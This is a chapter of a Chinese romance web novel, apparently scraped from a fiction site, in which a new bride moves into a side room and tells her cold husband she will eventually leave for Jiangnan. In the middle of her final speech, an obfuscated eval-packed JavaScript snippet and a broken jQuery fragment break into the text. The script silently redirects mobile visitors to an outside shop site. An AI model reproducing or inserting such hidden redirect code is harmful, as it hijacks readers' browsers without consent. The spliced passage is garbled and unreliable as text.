文趣网 > 其他小说 > 风雨同舟渡山河 > 201.新婚第一日,你搬回主屋睡吧
    暮色已临,晚饭后,趴在窗棂上的宋含章思虑再三,还是决定要趁暮色未沉,去书房一趟,把一些事情讲清楚。

    于是,她离开小屋,前往书房。

    她走进书房时,顾承宇正在看一本兵书。她听见书页翻动的声音,很轻,很慢,像一片叶子落在水面上。

    她没有像早晨那样大大咧咧地趴在他书案前,而是拉了一张椅子放在书案前坐下,身体笔直,双手交叠在膝上,姿态端庄得像变了一个人。

    顾承宇的余光里看见她收起了那份慵懒。她脸上的笑意没有消失,但变了——变得很平静,平静得像一潭被月光照透了的清水,能看见水底每一颗石子,却看不见水的深浅。

    她不说话,他也不开口,书房里只有他翻动书页的声响和她均匀而克制的呼吸。

    终于。

    “顾承宇。”

    她开口了,声音不轻不重,“今晚,你回卧房睡吧。书房的床榻太小,你个子那么高,蜷在上面腿都伸不直,会腰疼的。”

    她的语气很平常,像是在叮嘱一个不会照顾自己的家人,“我已搬到你隔壁的小屋去了。”

    顾承宇没有回答,只是把手里的兵书翻了一页,指腹摩挲着泛黄的纸张。

    他在想,她到底知不知道自己在说什么——一个刚进门的新妇,大方地让丈夫回卧房睡,自己却搬到隔壁的仆人房里去。

    可她好像从来不觉得自己说的话有什么不妥。

    今天早上到现在——

    叫他“夫君”时甜得能挤出蜜来,

    叫他“老兄”时豪爽得像在喊同袍,

    叫他“顾承宇”时带着几分傲娇,

    叫他“顾小气鬼”时尾音微微上扬,像在撒娇。

    才半日不到,她已经给他取了四个称呼,每一个都不一样,每一个都像一把不同形状的钥匙,在试着开同一把锁。

    他没有给她想要的回答。

    他从来不给任何人想要的回答。他只是继续看他的书,一个字一个字地看,像是在用这种方式告诉她——你爱搬就搬,与我无关。

    “昨晚,你让我滚出去,”她说,双手依旧交叠在膝上,指节微微泛白,“我想了一下,我只能滚一半。”

    他的手指在书页上停住了。

    什么叫滚一半?

    他终于抬起眼,对上她的目光。

    她没有回避,只是坦坦荡荡地看着他,像是在等他问。

    他果然问了:“为何?”

    “我现在还不能滚出清风居,不能滚出顾家。”她的语气很认真,“第一,是怕祖母和母亲伤心。我不知道祖母和母亲为何会看上粗鄙的我,但是我知道她们很爱你,真的很爱、很爱你。她们为了你,一个敢用免死金牌去救下宋家女眷,一个敢跪在我母亲面前求。如果我滚了,她们会难过的。”

    顾承宇没有接话,可他捏着书页的手指微微收紧了一些。

    她说的“粗鄙”,她说得那么自然,像是在说一个已经接受了的、不可更改的事实,就像说自己的头发是黑色的,眼睛是湿漉漉的——她宋含章,是粗鄙的。

    可,她哪里粗鄙了——她,明明这样美,美得让他用六年筑起的冰冷、厚重的心墙,在一朝之间便出现了裂缝。

    “第二,”她继续说,“如果我此时滚出了清风居,滚出了顾家,又会成为满京城的笑话。小时候我已经尝到了被满京城人厌恶嘲讽的滋味,现在长大了,我再也不想成为满京城茶余饭后的谈资了。”

    她说这话时没有哭,没有委屈,甚至连语气都没有加重。

    她只是在陈述,像在说今天的海棠花开得很好。可正是这份平静,让他把书页捏得更紧了。

    她才十六岁,这是要把多少委屈咽下去,才能用这样的语气说出这样的话。

    她忽然抬起头,望了一眼窗外的海棠花。

    一阵风吹过,花瓣簌簌地落下来,有一片正好被风从窗户卷进书房,落在她的肩上。

    她伸手拈起那片花瓣,放在鼻尖闻了闻,然后看着他,直呼他的名字——“顾承宇,你是好人。”

    他的嘴角轻轻翘了一下,不是笑,是一种混杂着自嘲和不信的弧度。“我是好人?”

    “不管你打断多少丫鬟的腿脚,不管京城的人如何看你,你在我心里,就是一个好人。”

    她的眼睛澄澈得像一潭可以一眼望到底的清水,没有讨好,没有试探,只有一种认真到了极致的笃定。

    “六年前,满京城的人都厌恶我,只有你看我时眼里不带厌恶,全是善意,还给我手帕擦嘴。从我记事起,阿娘唯一一次给我梳头,就是我昨日出嫁的时候。你是第一个给我梳头的男人,你是第一个给我描眉,第一个给我画花钿的人。所以,你就是一个好人。”

    他没有说话,可他心里在说:这些不过是举手之劳。梳头,描眉,画花钿——都是些再寻常不过的事,寻常到任何一个丈夫都会为妻子做。

    可对她来说,竟成了判断一个人是好是坏的依据。她的母亲到底有多忽视她,才能让她把这些寻常事当成恩情来记。

    她叹了一口气,起身,走到窗前,看着那间小屋的方向,额前的碎发被风吹得轻轻晃动。

    “我已经把我的东西从你的卧房搬进了这间小屋,以后我就住在那里。那间小屋我很喜欢——一开窗便可以看到这美丽的海棠花。”

    她移动目光,看着满树的繁花,像是在自言自语,“本不是花季,为何宁安侯府里带着浓浓的花香呢。”

    他顺着她的目光看了一眼那间小屋。那是清风居里最不起眼的一间偏房,房间不大,只有一扇小窗,推窗恰好能看见这棵海棠树。

    她说喜欢,是真的喜欢,嘴角带着笑,是那种从心底深处浮上来的、满足的笑。

    一个正妻,搬出主卧,住进仆人的房间,还能这样从容,还能这样笑着说话。

    不知为何,他忽然觉得心里有些空落落的。那种空,不是失去了什么,而是有什么东西在他心里轻轻敲了一下,然后那回音一直在荡,一直荡到他自己都说不清的地方。

    他甚至察觉到了一丝极淡极淡的怒意——不是对她的,是对自己的。他不知道自己为什么会有这种感觉,也不想知道。

    她转身,把目光落在他身上,又说了一遍:“顾承宇,你真的是一个好人。”

    “从今晚起,我就住在小屋。你放心,我睡觉不会打呼噜,早上不会吵你,白天你在书房,我就待在屋里不出来,绝对不会扰了你的清静。可不可以等一年半载,等我把要做的事情做完。届时,不用你赶我,我自己滚,保证不带走你清风居里的一片海棠花和一缕香。”

    她说得很认真,认真得让他不敢看她的眼睛。

    “我会滚回江南。那里没有讽刺,没有嘲笑,没有嫌弃。那里只有山,只有水

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780998|206141||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,只有竹林里的风。我一辈子都不回来了。”

    然后她迈开步伐,离开了书房。她走路步子跨得很大,依旧带风,裙摆在她身后翻卷起来,像一朵被风托着往前的花。

    顾承宇低着头,把手里的兵书放在书案上。

    他自始至终只说了两句话——“为何”“我是好人”这两句简洁得不能再简洁的话。

    可那颗心,已经不像自己以为的那样稳了。

    她说的每一个字,他都听进去了——“第一个”,她说“第一个”,说了三次。

    他忽然想问她——那你能不能也让我做最后一个?

    最后一个给你描眉的人,最后一个给你梳头的人,最后一个让你心甘情愿留在京城、不去江南的人。

    可他没有问,他只是抬起眼,看着对面那把空了的椅子。

    椅子上,还残留着她的香。

    她说她目前不能滚,因为不想让祖母和母亲伤心,因为不想再成为笑话。

    她说这些时,用的是“滚”这个字——他昨晚对她说“滚出去”,她便把这个字原封不动地还了回来,像是在说,你看,你让我滚,我没有滚远,我只是滚到了隔壁,这样就不算违抗你的命令,也不算辜负祖母和母亲的期待。

    她在用她自己的方式,替他圆那个他自己也圆不了的局。

    他忽然明白了什么是“滚一半”。不是妥协,不是退让,而是一个姑娘在用她所能想到的最体面的方式,留在她该留的地方。

    她把自己当成一件工具,可她不是工具——

    她是一个会在海棠花下放声大笑的人,

    她是一个会追着花瓣奔跑的人,

    她是一个会把“锤子期”说成“锤子期”的人。

    她那样鲜活,那样生动,那样让人移不开眼,却不打算在这里待一辈子。

    她说可不可以等一年半载,等她把要做的事情做完。那她要做的事情是什么——是报答顾家的恩情,一定是。

    他铁定宋含章答应嫁给他,就是为了报答顾家的恩情。报完了就走,走得干干净净,连一片海棠花瓣都不带走。

    他看着窗外那间小屋,忽然觉得很安静。

    清风居里从来没有这样安静过——以前也安静,可那是死寂,是没有人说话的沉默;现在的安静不一样,是活的,是因为知道有人在附近而无需说话的踏实。

    他不知道自己会不会习惯这种安静,可他隐约知道,等有一天这安静被抽走的时候,他大概会很不习惯。

    他知道她说的是真话。

    宋行简说过,他这个妹妹从不说假话,她说会做,就会做。她说会走,就一定会走。

    她不是一个会被任何人、任何事困住的姑娘——小时候困不住她,京城困不住她,他顾承宇又凭什么困住她。

    可他忽然发现,明明才相识半日,自己却并不想让她走。

    这个念头从他的心底浮上来,像一颗被埋了太久的种子,终于在这一刻破土而出。

    他被这个念头吓了一跳,几乎是下意识地将它按了回去,按回那团他花了六年时间筑起来的、冷硬的、密不透风的冰层底下。

    可它已经破土了。

    那颗种子一旦发了芽,便再也藏不住——它会从冰层底下一点一点地钻出来,顶开那些被他封存了六年的、不敢触碰的东西,一直长,一直长,直到长成一棵谁也推不倒的树。